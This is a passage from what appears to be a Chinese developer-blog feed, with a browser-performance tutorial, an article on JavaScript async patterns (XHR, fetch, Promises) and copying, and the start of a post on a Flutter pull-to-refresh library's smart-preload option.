observer.observe({ entryTypes: ['longtask'] });

🌐 第三章:网络高级特性

3.1 预加载系列

<!-- 预加载:当前页面必须的资源 -->
<link rel="preload" href="style.css" as="style">
<link rel="preload" href="font.woff2" as="font" crossorigin>

<!-- 预连接:提前建立连接 -->
<link rel="preconnect" href="https://api.example.com">

<!-- DNS预解析 -->
<link rel="dns-prefetch" href="https://cdn.example.com">

<!-- 预获取:下一页可能用到的资源 -->
<link rel="prefetch" href="next-page.js">

<!-- 预渲染:提前渲染下一页 -->
<link rel="prerender" href="https://example.com/next-page">

优先级

preload > preconnect > dns-prefetch > prefetch

3.2 HTTP/2 和 HTTP/3

// HTTP/2 特性
// 1. 多路复用(一个连接并发多个请求)
// 2. 服务器推送(主动推送资源)
// 3. 头部压缩
// 4. 二进制分帧

// HTTP/3 特性
// 1. 基于QUIC(UDP)
// 2. 0-RTT 连接建立
// 3. 更好的丢包处理
// 4. 无队头阻塞

3.3 WebSocket

// 建立连接
const ws = new WebSocket('wss://example.com/chat');

// 连接打开
ws.addEventListener('open', () => {
  ws.send('Hello Server!');
});

// 接收消息
ws.addEventListener('message', (event) => {
  console.log('收到:', event.data);
});

// 心跳检测(防止连接断开)
setInterval(() => {
  if (ws.readyState === WebSocket.OPEN) {
    ws.send('ping');
  }
}, 30000);

// 断线重连
ws.addEventListener('close', () => {
  setTimeout(() => {
    reconnect();
  }, 3000);
});

3.4 Server-Sent Events

// 服务器推送事件(单向)
const eventSource = new EventSource('/api/events');

// 监听默认消息
eventSource.onmessage = (event) => {
  console.log('收到:', event.data);
};

// 监听自定义事件
eventSource.addEventListener('notification', (event) => {
  console.log('通知:', event.data);
});

// 错误处理
eventSource.onerror = () => {
  console.log('连接断开');
};

🚀 第四章:渲染性能进阶

4.1 关键渲染路径

<!-- 优化关键渲染路径 -->
<head>
  <!-- 关键CSS内联 -->
  <style>
    .header { background: red; }
    .hero { height: 500px; }
  </style>
  
  <!-- 非关键CSS异步加载 -->
  <link rel="preload" href="non-critical.css" as="style" onload="this.rel='stylesheet'">
  
  <!-- 关键JS内联 -->
  <script>
    // 首屏需要的JS
  </script>
  
  <!-- 非关键JS延迟加载 -->
  <script src="app.js" defer></script>
</head>

4.2 图层管理高级技巧

/* 主动创建图层 */
.will-animate {
  will-change: transform, opacity;
  transform: translateZ(0); /* 老方案,不推荐 */
}

/* 避免层爆炸 */
.too-many-layers * {
  will-change: transform; /* 危险!每个元素都创建层 */
}

/* 合理使用contain */
.independent-component {
  contain: layout style paint; /* 告诉浏览器内部变化不影响外部 */
}

4.3 渲染阻塞诊断

// 检测长任务
const observer = new PerformanceObserver((list) => {
  list.getEntries().forEach(entry => {
    if (entry.duration > 50) {
      console.log('渲染阻塞任务:', entry);
      
      // 分析调用栈
      if (entry.attribution) {
        console.log('原因:', entry.attribution[0]?.containerType);
      }
    }
  });
});

observer.observe({ entryTypes: ['longtask', 'frame'] });

📦 第五章:Web Workers 与多线程

5.1 Dedicated Worker

// main.js
const worker = new Worker('worker.js');

worker.postMessage({ type: 'compute', data: largeArray });

worker.onmessage = (e) => {
  console.log('计算结果:', e.data);
};

worker.onerror = (e) => {
  console.error('Worker错误:', e.message);
};

// worker.js
self.onmessage = (e) => {
  const { type, data } = e.data;
  
  if (type === 'compute') {
    // 耗时计算
    const result = heavyComputation(data);
    
    // 返回结果
    self.postMessage(result);
  }
};

// 关闭worker
worker.terminate();

5.2 Shared Worker

// 多个页面共享同一个worker
// main.js
const worker = new SharedWorker('shared-worker.js');

worker.port.start();
worker.port.postMessage('hello');

worker.port.onmessage = (e) => {
  console.log('收到:', e.data);
};

// shared-worker.js
const connections = [];

self.onconnect = (e) => {
  const port = e.ports[0];
  connections.push(port);
  
  port.onmessage = (e) => {
    // 广播给所有连接
    connections.forEach(conn => {
      conn.postMessage(e.data);
    });
  };
};

5.3 Service Worker(离线能力)

// sw.js
const CACHE_NAME = 'v1';
const urlsToCache = ['/', '/style.css', '/app.js'];

// 安装时缓存资源
self.addEventListener('install', (event) => {
  event.waitUntil(
    caches.open(CACHE_NAME).then((cache) => {
      return cache.addAll(urlsToCache);
    })
  );
});

// 拦截请求
self.addEventListener('fetch', (event) => {
  event.respondWith(
    caches.match(event.request).then((response) => {
      // 有缓存返回缓存,否则网络请求
      return response || fetch(event.request).then((networkResponse) => {
        // 可选:缓存新资源
        if (event.request.url.includes('/api/')) {
          return networkResponse;
        }
        
        const responseClone = networkResponse.clone();
        caches.open(CACHE_NAME).then((cache) => {
          cache.put(event.request, responseClone);
        });
        
        return networkResponse;
      });
    })
  );
});

// 更新缓存
self.addEventListener('activate', (event) => {
  event.waitUntil(
    caches.keys().then((keys) => {
      return Promise.all(
        keys.filter(key => key !== CACHE_NAME)
          .map(key => caches.delete(key))
      );
    })
  );
});

🔧 第六章:调试与诊断高级技巧

6.1 Performance 面板深度使用

// 添加自定义标记
performance.mark('start-fetch');
await fetch('/api/data');
performance.mark('end-fetch');

// 测量
performance.measure('fetch-time', 'start-fetch', 'end-fetch');

// 在Performance面板可以看到

关键指标解读

  • FPS:帧率,低于30表示卡顿
  • CPU:占用率,红色表示满负荷
  • NET:网络请求,长条表示慢请求
  • HEAP:内存使用,锯齿状是正常GC

6.2 Memory 面板深度使用

// 排查内存泄漏
// 1. 拍快照
// 2. 执行操作
// 3. 再拍快照对比

// 查找分离的DOM节点
// 在快照中搜索"Detached"

6.3 Layers 面板

// 查看图层信息
// 1. 打开DevTools
// 2. 三个点 → More tools → Layers
// 3. 查看每个图层的大小、内存占用
// 4. 找出不必要的图层

6.4 Coverage 面板

// 查看代码覆盖率
// 1. 打开Coverage面板
// 2. 点击录制
// 3. 操作页面
// 4. 红色表示未执行的代码

🚀 第七章:浏览器性能优化

7.1 性能指标

// Google定义的三大核心指标
const coreWebVitals = {
  LCP: 'Largest Contentful Paint', // 最大内容绘制 - 加载性能
  FID: 'First Input Delay',        // 首次输入延迟 - 交互性能
  CLS: 'Cumulative Layout Shift'   // 累计布局偏移 - 视觉稳定性
};

// 理想阈值
const thresholds = {
  LCP: { good: 2500, poor: 4000 },      // 2.5秒内良好,4秒以上差
  FID: { good: 100, poor: 300 },        // 100ms内良好,300ms以上差
  CLS: { good: 0.1, poor: 0.25 }        // 0.1以内良好,0.25以上差
};

其他重要指标

const otherMetrics = {
  // 传统指标
  FP: 'First Paint',                    // 首次绘制
  FCP: 'First Contentful Paint',        // 首次内容绘制
  TTI: 'Time to Interactive',           // 可交互时间
  TBT: 'Total Blocking Time',           // 总阻塞时间
  
  // 业务指标
  TTFB: 'Time to First Byte',            // 首字节时间
  DOMContentLoaded: 'DOMContentLoaded',  // DOM解析完成
  Load: 'Load',                          // 所有资源加载完成
  FPS: 'Frames Per Second'               // 帧率
};

7.2 性能优化模型

  1. RAIL 模型
// Google提出的性能模型
const RAIL = {
  Response: '响应',      // 100ms内响应
  Animation: '动画',     // 10ms内生成一帧 (60fps)
  Idle: '空闲',          // 利用空闲时间处理任务
  Load: '加载'           // 1s内加载完成
};

// RAIL 目标
const railTargets = {
  response: 100,      // 用户操作100ms内要有反馈
  animation: 10,      // 每帧10ms内完成工作 (剩下6ms给浏览器)
  idle: 50,           // 空闲任务不超过50ms
  load: 1000          // 首屏1秒内加载
};
  1. 性能优化的三个层次
const performanceLayers = {
  // 第一层:网络优化
  network: {
    goal: '减少请求次数,减小资源体积',
    techniques: ['缓存', '压缩', 'CDN', '预加载']
  },
  
  // 第二层:渲染优化
  rendering: {
    goal: '减少重排重绘,提高渲染效率',
    techniques: ['图层优化', '动画优化', '读写分离']
  },
  
  // 第三层:计算优化
  computing: {
    goal: '减少JS执行时间,避免阻塞主线程',
    techniques: ['Web Worker', '任务拆分', '懒计算']
  }
};

7.3 网络层优化

  1. 减少请求次数
// ❌ 不好的做法:多个小文件
import Button from './Button';
import Input from './Input';
import Modal from './Modal';

// ✅ 好的做法:打包合并
import { Button, Input, Modal } from './components';

// webpack 配置
module.exports = {
  optimization: {
    splitChunks: {
      chunks: 'all',
      minSize: 20000,
      maxSize: 244000,
      cacheGroups: {
        vendors: {
          test: /[\\/]node_modules[\\/]/,
          priority: -10
        }
      }
    }
  }
};
  1. 减小资源体积
// 1. 代码压缩
// webpack 自动压缩
module.exports = {
  mode: 'production',
  optimization: {
    minimize: true,
    minimizer: ['...', new TerserPlugin()]
  }
};

// 2. Tree Shaking
// 只引入使用的代码
import { debounce } from 'lodash-es'; // 用es版本支持tree shaking

// 3. 图片优化
// 使用 WebP 格式
<picture>
  <source srcset="image.webp" type="image/webp">
  <img src="image.jpg" loading="lazy">
</picture>

// 4. Gzip/Brotli 压缩
// Nginx 配置
gzip on;
gzip_types text/plain text/css application/javascript;
gzip_comp_level 6;
brotli on;
brotli_types text/plain text/css application/javascript;
  1. 缓存策略
// 1. 强缓存 (长期)
Cache-Control: public, max-age=31536000, immutable

// 2. 协商缓存 (验证)
Cache-Control: no-cache
ETag: "33a64df551"

// 3. 文件名哈希 (非覆盖式发布)
// 构建后: app.8d3f9e.js
// 下次发布: app.a1b2c3.js
  1. 预加载系列
<!-- 预加载当前页关键资源 -->
<link rel="preload" href="critical.css" as="style">
<link rel="preload" href="font.woff2" as="font" crossorigin>

<!-- 预连接第三方域 -->
<link rel="preconnect" href="https://api.example.com">

<!-- DNS预解析 -->
<link rel="dns-prefetch" href="https://cdn.example.com">

<!-- 预获取下一页资源 -->
<link rel="prefetch" href="next-page.js">

<!-- 预渲染整个页面 -->
<link rel="prerender" href="https://example.com/next">
  1. 资源优先级
<!-- 关键资源:高优先级 -->
<link rel="preload" href="style.css" as="style">

<!-- 非关键资源:低优先级 -->
<link rel="prefetch" href="analytics.js">

<!-- 图片懒加载 -->
<img src="image.jpg" loading="lazy" />

<!-- iframe懒加载 -->
<iframe src="video.html" loading="lazy"></iframe>

7.4 渲染层优化

  1. 关键渲染路径优化
<!DOCTYPE html>
<html>
<head>
  <!-- 1. 关键CSS内联 -->
  <style>
    /* 首屏需要的样式 */
    .header { background: #333; }
    .hero { height: 500px; }
  </style>
  
  <!-- 2. 非关键CSS异步加载 -->
  <link rel="preload" href="non-critical.css" as="style" onload="this.rel='stylesheet'">
  
  <!-- 3. 关键JS内联 -->
  <script>
    // 首屏需要的JS
    window.initialData = { user: 'guest' };
  </script>
  
  <!-- 4. 非关键JS延迟加载 -->
  <script src="app.js" defer></script>
</head>
<body>
  <!-- 内容 -->
</body>
</html>
  1. 减少重排重绘
// ❌ 不好的写法:多次触发重排
const el = document.getElementById('box');
el.style.width = '100px';      // 重排
el.style.height = '200px';     // 重排
el.style.margin = '10px';      // 重排
console.log(el.offsetWidth);   // 强制重排!

// ✅ 好的写法:批量操作
el.style.cssText = 'width:100px; height:200px; margin:10px;';

// 或者使用class
el.classList.add('box-style');

// ✅ 读写分离
const width = el.offsetWidth;  // 读
const height = el.offsetHeight; // 读

el.style.width = width + 100 + 'px'; // 批量写
el.style.height = height + 100 + 'px';

// ✅ 使用transform代替位置属性
// ❌ 不好
el.style.top = '100px';

// ✅ 好
el.style.transform = 'translateY(100px)';
  1. 图层优化
/* 创建新图层的情况 */
.animate {
  transform: translateZ(0);  /* 老方法,不推荐 */
  will-change: transform;    /* 现代方法 */
}

/* 避免层爆炸 */
/* ❌ 危险 */
.too-many-layers * {
  will-change: transform;
}

/* ✅ 合理使用 */
.carousel {
  will-change: transform;  /* 轮播图需要动画 */
}

/* 使用contain隔离 */
.widget {
  contain: layout style paint;  /* 内部变化不影响外部 */
}
  1. 动画优化
/* ✅ 合成器动画(推荐) */
@keyframes move {
  from { transform: translateX(0); }
  to { transform: translateX(100px); }
}

/* ❌ 触发布局的动画 */
@keyframes move-bad {
  from { left: 0; }
  to { left: 100px; }
}

/* 使用requestAnimationFrame */
function animate() {
  element.style.transform = `translateX(${pos}px)`;
  pos += 1;
  
  if (pos < 100) {
    requestAnimationFrame(animate);
  }
}

requestAnimationFrame(animate);

7.5 JavaScript 执行优化

  1. 长任务拆分
// ❌ 不好的写法:长任务阻塞主线程
function processLargeArray(array) {
  array.forEach(item => {
    heavyComputation(item);  // 同步执行,可能卡顿
  });
}

// ✅ 好的写法:任务拆分
async function processLargeArray(array) {
  for (let i = 0; i < array.length; i++) {
    // 每次处理一小部分
    heavyComputation(array[i]);
    
    // 每10次让出主线程
    if (i % 10 === 0) {
      await new Promise(resolve => setTimeout(resolve, 0));
    }
  }
}

// ✅ 使用requestIdleCallback
function processWithIdle(array) {
  let i = 0;
  
  function processChunk(deadline) {
    while (i < array.length && deadline.timeRemaining() > 0) {
      heavyComputation(array[i]);
      i++;
    }
    
    if (i < array.length) {
      requestIdleCallback(processChunk);
    }
  }
  
  requestIdleCallback(processChunk);
}
  1. Web Worker 多线程
// main.js
const worker = new Worker('worker.js');

worker.postMessage({ type: 'process', data: largeArray });

worker.onmessage = (e) => {
  console.log('处理结果:', e.data);
};

// worker.js
self.onmessage = (e) => {
  if (e.data.type === 'process') {
    // 耗时计算,不阻塞主线程
    const result = heavyComputation(e.data.data);
    self.postMessage(result);
  }
};

// 线程池实现
class WorkerPool {
  constructor(workerScript, size = navigator.hardwareConcurrency) {
    this.workers = [];
    this.queue = [];
    this.active = new Map();
    
    for (let i = 0; i < size; i++) {
      const worker = new Worker(workerScript);
      worker.onmessage = (e) => this.handleResult(worker, e);
      this.workers.push(worker);
    }
  }
  
  runTask(data) {
    return new Promise((resolve, reject) => {
      const task = { data, resolve, reject };
      
      const idleWorker = this.workers.find(w => !this.active.has(w));
      
      if (idleWorker) {
        this.executeTask(idleWorker, task);
      } else {
        this.queue.push(task);
      }
    });
  }
  
  executeTask(worker, task) {
    this.active.set(worker, task);
    worker.postMessage(task.data);
  }
  
  handleResult(worker, e) {
    const task = this.active.get(worker);
    this.active.delete(worker);
    
    task.resolve(e.data);
    
    if (this.queue.length > 0) {
      this.executeTask(worker, this.queue.shift());
    }
  }
}
  1. 虚拟列表
// 只渲染可视区域的列表项
class VirtualList {
  constructor(container, items, itemHeight) {
    this.container = container;
    this.items = items;
    this.itemHeight = itemHeight;
    this.visibleCount = Math.ceil(container.clientHeight / itemHeight);
    this.startIndex = 0;
    
    container.style.overflow = 'auto';
    container.style.position = 'relative';
    
    container.addEventListener('scroll', () => {
      this.startIndex = Math.floor(container.scrollTop / itemHeight);
      this.render();
    });
    
    this.render();
  }
  
  render() {
    const fragment = document.createDocumentFragment();
    const endIndex = Math.min(this.startIndex + this.visibleCount + 2, this.items.length);
    
    for (let i = this.startIndex; i < endIndex; i++) {
      const item = this.items[i];
      const div = document.createElement('div');
      div.style.position = 'absolute';
      div.style.top = i * this.itemHeight + 'px';
      div.style.height = this.itemHeight + 'px';
      div.textContent = item;
      fragment.appendChild(div);
    }
    
    this.container.innerHTML = '';
    this.container.appendChild(fragment);
  }
}

7.6 资源加载优化

  1. 代码分割
// React 懒加载
const LazyComponent = React.lazy(() => import('./HeavyComponent'));

function App() {
  return (
    <Suspense fallback={<Loading />}>
      <LazyComponent />
    </Suspense>
  );
}

// Vue 异步组件
const AsyncComponent = () => ({
  component: import('./HeavyComponent.vue'),
  loading: LoadingComponent,
  error: ErrorComponent,
  delay: 200,
  timeout: 3000
});

// 路由懒加载
const routes = [
  {
    path: '/dashboard',
    component: () => import('./pages/Dashboard')
  }
];
  1. 图片优化
<!-- 响应式图片 -->
<img 
  srcset="
    small.jpg 300w,
    medium.jpg 600w,
    large.jpg 900w
  "
  sizes="(max-width: 320px) 280px,
         (max-width: 640px) 560px,
         800px"
  src="fallback.jpg"
  loading="lazy"
  alt="optimized"
>

<!-- 现代格式 -->
<picture>
  <source srcset="image.avif" type="image/avif">
  <source srcset="image.webp" type="image/webp">
  <img src="image.jpg" loading="lazy">
</picture>

<!-- 渐进式图片 -->
<img src="thumb.jpg" data-src="full.jpg" class="lazy">
  1. 字体优化
/* 字体预加载 */
<link rel="preload" href="font.woff2" as="font" type="font/woff2" crossorigin>

/* font-display 控制 */
@font-face {
  font-family: 'CustomFont';
  src: url('font.woff2') format('woff2');
  font-display: swap; /* 先用系统字体,加载完再换 */
}

/* 字体子集化 */
@font-face {
  font-family: 'CustomFont';
  src: url('font-latin.woff2') format('woff2');
  unicode-range: U+00-FF; /* 只加载拉丁字符 */
}

7.7 性能监控与诊断

  1. 性能监控 SDK
class PerformanceMonitor {
  constructor(options = {}) {
    this.metrics = {};
    this.initObservers();
  }
  
  initObservers() {
    // LCP
    new PerformanceObserver((list) => {
      const entries = list.getEntries();
      this.metrics.lcp = entries[entries.length - 1].startTime;
    }).observe({ entryTypes: ['largest-contentful-paint'] });
    
    // FID
    new PerformanceObserver((list) => {
      list.getEntries().forEach(entry => {
        this.metrics.fid = entry.processingStart - entry.startTime;
      });
    }).observe({ entryTypes: ['first-input'] });
    
    // CLS
    let cls = 0;
    new PerformanceObserver((list) => {
      list.getEntries().forEach(entry => {
        if (!entry.hadRecentInput) {
          cls += entry.value;
          this.metrics.cls = cls;
        }
      });
    }).observe({ entryTypes: ['layout-shift'] });
    
    // 资源
    new PerformanceObserver((list) => {
      list.getEntries().forEach(entry => {
        if (entry.duration > 300) {
          this.reportSlowResource(entry);
        }
      });
    }).observe({ entryTypes: ['resource'] });
    
    // 长任务
    new PerformanceObserver((list) => {
      list.getEntries().forEach(entry => {
        if (entry.duration > 50) {
          this.reportLongTask(entry);
        }
      });
    }).observe({ entryTypes: ['longtask'] });
  }
  
  reportToAnalytics(data) {
    if (navigator.sendBeacon) {
      navigator.sendBeacon('/api/perf', JSON.stringify(data));
    } else {
      fetch('/api/perf', {
        method: 'POST',
        body: JSON.stringify(data),
        keepalive: true
      });
    }
  }
}

// 使用
const monitor = new PerformanceMonitor();
  1. 性能问题诊断
// 1. 使用 Performance 面板
// 记录 → 操作 → 分析

// 2. 使用 Lighthouse
// Chrome DevTools → Lighthouse → 生成报告

// 3. 使用 Web Vitals 库
import { getLCP, getFID, getCLS } from 'web-vitals';

getLCP(console.log);
getFID(console.log);
getCLS(console.log);

// 4. 自定义性能标记
performance.mark('start-fetch');
await fetch('/api/data');
performance.mark('end-fetch');
performance.measure('fetch-time', 'start-fetch', 'end-fetch');
// 优化前的问题
const problems = [
  '首屏图片太多',
  'JS打包过大',
  '交互卡顿',
  'API请求慢'
];

// 优化方案
const solutions = {
  // 1. 图片优化
  images: () => {
    // 使用WebP
    // 懒加载
    // 尺寸适配
  },
  
  // 2. 代码分割
  codeSplit: () => {
    // 路由懒加载
    // 组件动态导入
    // 第三方包拆包
  },
  
  // 3. 渲染优化
  rendering: () => {
    // 虚拟列表
    // 防抖节流
    // Web Worker
  },
  
  // 4. 缓存策略
  cache: () => {
    // Service Worker
    // API缓存
    // 预加载下一页
  }
};

// 优化效果
const result = {
  LCP: '2.8s → 1.2s',
  FID: '120ms → 45ms',
  CLS: '0.35 → 0.08',
  TTI: '4.5s → 2.1s'
};

7.8 性能优化的原则

优化的四个维度

const optimizationPrinciples = {
  // 1. 减少
  reduce: {
    network: '减少请求数和体积',
    render: '减少重排重绘',
    compute: '减少JS执行时间'
  },
  
  // 2. 复用
  reuse: {
    cache: '充分利用缓存',
    connection: '复用TCP连接',
    data: '复用计算结果'
  },
  
  // 3. 延迟
  defer: {
    load: '非关键资源延迟加载',
    compute: '计算延迟到空闲时',
    render: '虚拟列表延迟渲染'
  },
  
  // 4. 提前
  preload: {
    dns: '预解析DNS',
    connect: '预连接',
    fetch: '预获取资源',
    render: '预渲染'
  }
};

优化的优先级

const priority = {
  // 第一优先级:核心体验
  critical: [
    'LCP优化',  // 用户看到内容
    'FID优化',  // 用户可以交互
    'CLS优化'   // 不晃动
  ],
  
  // 第二优先级:流畅度
  smoothness: [
    '滚动流畅',
    '动画60fps',
    '无卡顿'
  ],
  
  // 第三优先级:加载速度
  speed: [
    '页面完全加载',
    '资源缓存',
    '预加载'
  ],
  
  // 第四优先级:资源消耗
  resource: [
    '内存占用',
    'CPU使用',
    '电量消耗'
  ]
};

性能优化的黄金法则

const goldenRules = {
  // 1. 用户为中心
  rule1: '优先优化用户感知的指标 (LCP/FID/CLS)',
  
  // 2. 测量先行
  rule2: '不测量就无法优化',
  
  // 3. 基于原理
  rule3: '理解浏览器原理才能精准优化',
  
  // 4. 持续改进
  rule4: '性能优化是持续的过程,不是一次性任务',
  
  // 5. 平衡取舍
  rule5: '在加载速度、流畅度、资源消耗间找到平衡'
};

🎯 第八章:重点解析

Q1:requestAnimationFrame 和 requestIdleCallback 的区别?

// requestAnimationFrame:渲染前执行
requestAnimationFrame(() => {
  console.log('下一帧渲染前执行');
});

// requestIdleCallback:浏览器空闲时执行
requestIdleCallback((deadline) => {
  while (deadline.timeRemaining() > 0) {
    // 执行任务
  }
}, { timeout: 2000 });

区别

  • rAF:必须执行,优先级高
  • rIC:有空才执行,优先级低

Q2:什么是 Layout Thrashing(布局抖动)?

// 坏代码:反复触发强制布局
for (let i = 0; i < 1000; i++) {
  box.style.left = i + 'px'; // 写
  console.log(box.offsetLeft); // 读 → 强制布局!
}

// 好代码:读写分离
for (let i = 0; i < 1000; i++) {
  box.style.left = i + 'px'; // 批量写
}
const positions = []; // 统一读
for (let i = 0; i < 1000; i++) {
  positions.push(box.offsetLeft);
}

Q3:什么是 FOUC(无样式内容闪烁)?

<!-- 原因:CSS加载延迟 -->
<head>
  <link rel="stylesheet" href="slow.css">
</head>
<body>
  <h1>先显示默认样式,CSS加载后突然变化</h1>
</body>

解决方案

  • 内联关键CSS
  • 使用<link rel="preload">
  • CSS放头部,JS放底部

Q4:什么是 FP、FCP、LCP、FID、CLS?

// 核心Web指标
const metrics = {
  FP: 'First Paint', // 第一个像素绘制
  FCP: 'First Contentful Paint', // 第一个内容绘制
  LCP: 'Largest Contentful Paint', // 最大内容绘制(加载性能)
  FID: 'First Input Delay', // 首次输入延迟(交互性能)
  CLS: 'Cumulative Layout Shift' // 累计布局偏移(视觉稳定性)
};

// 获取指标
new PerformanceObserver((entryList) => {
  for (const entry of entryList.getEntries()) {
    console.log(entry.name, entry.startTime);
  }
}).observe({ entryTypes: ['paint', 'layout-shift', 'first-input'] });

Q5:浏览器是如何处理多个标签页的?

// 进程模型
// - 每个标签页通常独立进程(Chrome)
// - 但同源页面可能共享进程(优化)
// - 浏览器的"站点隔离"策略

// 标签页间通信方式
// 1. localStorage事件
window.addEventListener('storage', (e) => {});

// 2. BroadcastChannel
const channel = new BroadcastChannel('tab-channel');
channel.postMessage('hello');

// 3. SharedWorker
// 4. postMessage + iframe
// 5. IndexedDB

从异步迷雾到优雅流程:JavaScript异步编程与内存管理的现代化之旅

作者 Lee川
2026年3月2日 13:36

在现代Web开发的宇宙中,数据流动如同生命线,而处理这些数据的异步请求和内存管理,则构成了这个生态系统的底层法则。从经典的AJAX到现代的Fetch,从混乱的回调到Promise的秩序,再到对内存的精打细算,这是一段关于开发者不断追求“优雅”与“高效”的进化史。本文将通过代码实例,带你领略这一技术演变的精妙之处。

第一章:从AJAX到Fetch——API请求的“换代”

早期的Web开发者对 XMLHttpRequest这个略显冗长的构造函数一定不陌生。它是AJAX(Asynchronous JavaScript and XML)的核心,让网页无需刷新即可与服务器通信。如您在 文档1 所见,它的使用模式充满了仪式感:

const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.github.com/users/shunwuyu', true);
xhr.send();
xhr.onreadystatechange = function () {
    if (xhr.readyState === 4 && xhr.status === 200) {
        const data = JSON.parse(xhr.responseText);
        console.log(data);
    }
}

在这里,我们需要手动检查 readyStatestatus,并通过回调函数处理响应。尽管功能强大,但这种“回调地狱”的阴影始终挥之不去。

fetch()API的到来,如一股清流,改变了这一切(文档1):

fetch('https://api.github.com/users/shunwuyu')
    .then(res => res.json())
    .then(data => console.log(data));

fetch天生基于 Promise,设计简洁,链式调用的美感替代了嵌套回调的混乱。正如 文档6 中总结的:fetch简单易用,基于Promise实现,无需回调函数。它代表了浏览器原生API的现代化方向。

第二章:承前启后——封装基于Promise的AJAX工具

尽管 fetch是未来,但理解其底层思想,尤其是Promise的运用,至关重要。这就引出了经典的封装练习:如何将一个基于回调的 XMLHttpRequest封装成返回Promise的 getJSON函数?您提供的 文档2 给出了一个教科书般的答案:

const getJSON = url => {
    return new Promise((resolve, reject) => {
        const xhr = new XMLHttpRequest();
        xhr.open('GET', url, true);
        xhr.send();
        xhr.onreadystatechange = function() {
            if(xhr.readyState === 4 && xhr.status === 200){
                resolve(JSON.parse(xhr.responseText)); // 成功时解析数据
            }
        }
        xhr.onerror = function() {
            reject('出错了'); // 网络错误时拒绝
        }
    });
};

// 使用起来,已然是Promise的优雅世界
getJSON('https://api.github.com/users/shunwuyu')
    .then(data => console.log(data))
    .catch(err => console.log(err))
    .finally(() => console.log('请求完成'));

这个封装完美诠释了Promise的契约精神:执行器函数 (resolve, reject) => {}中包裹着异步操作,成功时调用 resolve()传递结果,失败时调用 reject()传递原因。外部则通过 .then().catch().finally()这些清晰的生命周期钩子来处理不同状态,实现了逻辑与控制的分离。

第三章:Promise的抽象与具象——以“Sleep函数”为例

Promise的强大不仅限于网络请求,它是一种通用的异步流程控制方案。文档3文档4 通过手写一个sleep函数,生动地展示了Promise如何将任何异步操作(如setTimeout)纳入其统一管理范式。

文档3 展示了一个带有调试信息的版本,让我们看清Promise状态的变化:

function sleep(n) {
    let p;
    p = new Promise((resolve, reject) => {
        setTimeout(() => {
            console.log(p); // 在setTimeout回调中查看状态
            reject(); // 此版本主动调用了reject
        }, n);
    });
    return p;
}

文档4 则给出了这个模式最精简、最实用的工业级封装:

const sleep = n => new Promise(resolve => setTimeout(resolve, n));

sleep(3000).then(() => console.log('三秒后执行'));

这行代码堪称艺术品。它抽象出一个通用的“等待”概念,使得异步流程可以像搭积木一样组合。new Promise(resolve => setTimeout(resolve, n))是理解Promise的绝佳切入点:创建一个Promise,在 n毫秒后,通过 resolve()将其状态从“pending”(等待)变为“fulfilled”(已完成),从而触发后续的 .then()

第四章:优雅背后的基石——内存管理中的浅拷贝与深拷贝

当我们流畅地处理数据时,对内存的操作必须是谨慎而高效的。文档5文档6 触及了JavaScript中一个微妙而重要的话题:引用式拷贝 与如何避免副作用。

JavaScript变量存储在栈内存(简单数据类型和对象引用)与堆内存(复杂对象本身)中。直接赋值对象或数组,传递的只是引用地址。这意味着,修改新变量会影响原数据,引发难以追踪的bug。

文档5 演示了两种关键的拷贝策略:

  1. 浅拷贝:仅复制第一层。[].concat(arr)是一个经典的快速数组浅拷贝技巧,成本低廉。

    const arr = [1,2,3];
    const arr3 = [].concat(arr); // 浅拷贝
    arr3[0] = 4; // 修改arr3不会影响arr
    console.log(arr); // [1,2,3]
    
  2. 深拷贝:递归复制所有层级。JSON.parse(JSON.stringify(obj))是一个广为人知的“快捷方式”,但它有局限性(如无法处理函数、undefined、循环引用)。

    const arr2 = JSON.parse(JSON.stringify(arr)); // 深拷贝
    arr2[0] = 10; // arr2与arr完全独立
    

正如 文档6 指出的,深拷贝“重新申请一块空间,开销大”。因此,在实际开发中,我们必须根据数据结构(是否嵌套)和性能要求,明智地在浅拷贝与深拷贝之间做出选择。

结语:秩序之美

纵观这些文档,我们看到的不仅是一段段代码,更是一部微缩的JavaScript开发思想进化史:从直面复杂回调的 XMLHttpRequest,到使用Promise进行优雅封装的 getJSON,再到原生集成的 fetch;从手写 sleep理解异步抽象,到审视 [].concat()JSON.parse(JSON.stringify())背后的内存哲学。

技术的发展,始终朝向同一个目标:用更清晰的语法表达逻辑,用更可控的方式管理状态,用更高效的手段操作资源。 掌握这些从实践中来的模式与思想,将使你在构建现代Web应用时,不仅能让代码跑起来,更能让代码“优雅”地运行。

Flutter 下拉刷新库新特性:智能预加载 (enableSmartPreload) 详解

作者 妖枪银弹
2026年3月2日 13:33

一个功能强大的 Flutter 下拉刷新和上拉加载更多组件,支持多种自定义指示器样式。

pull_to_refresh_simple

Flutter 下拉刷新库新特性:智能预加载 (enableSmartPreload) 详解

作为一名 Flutter 开发者,我们都知道下拉刷新和上拉加载更多是移动应用中非常常见的功能。最近,我在 pull_to_refresh_plus 库中添加了一个新特性:enableSmartPreload,它可以让列表的加载体验更加流畅。今天,我将详细介绍这个属性的作用、使用方法以及设计思路。

一、什么是智能预加载?

核心概念

enableSmartPreloadSmartRefresher 组件的一个新属性,用于控制是否启用智能预加载功能。与传统的上拉加载不同,智能预加载会在用户滚动到距离列表底部还有一定距离时就触发加载,而不是等到用户完全滚动到底部。这样用户滚动的时候会感受不到有下拉刷新,体验会更加的流畅丝滑。

实现原理

让我们看看核心实现代码:

// 智能预加载:当距离底部小于上一次加载高度的一半时触发
final bool enableSmartPreload = refresher?.enableSmartPreload ?? configuration!.enableSmartPreload;
if (enableSmartPreload &&
    lastLoadedHeight > 0 &&
    _position!.maxScrollExtent - _position!.pixels < (lastLoadedHeight * 0.5) &&
    _enableLoading) {
  return true;
}

当满足以下条件时,会触发预加载:

  1. enableSmartPreloadtrue
  2. 存在上一次加载的高度记录(lastLoadedHeight > 0
  3. 当前滚动位置距离底部的距离小于上一次加载高度的一半
  4. 允许加载(_enableLoadingtrue

二、如何使用 enableSmartPreload

基本用法

在创建 SmartRefresher 时,直接设置 enableSmartPreload 参数:

SmartRefresher(
  controller: _refreshController,
  enablePullDown: true,
  enablePullUp: true,
  enableSmartPreload: true, // 启用智能预加载
  onRefresh: _onRefresh,
  onLoading: _onLoading,
  header: const ClassicHeader(),
  footer: const ClassicFooter(),
  child: ListView.builder(
    itemCount: items.length,
    itemBuilder: (context, index) {
      return ListTile(title: Text('Item $index'));
    },
  ),
)

全局配置

如果希望在整个应用中统一启用智能预加载,可以使用 RefreshConfiguration

RefreshConfiguration(
  enableSmartPreload: true, // 全局启用智能预加载
  headerBuilder: () => const ClassicHeader(),
  footerBuilder: () => const ClassicFooter(),
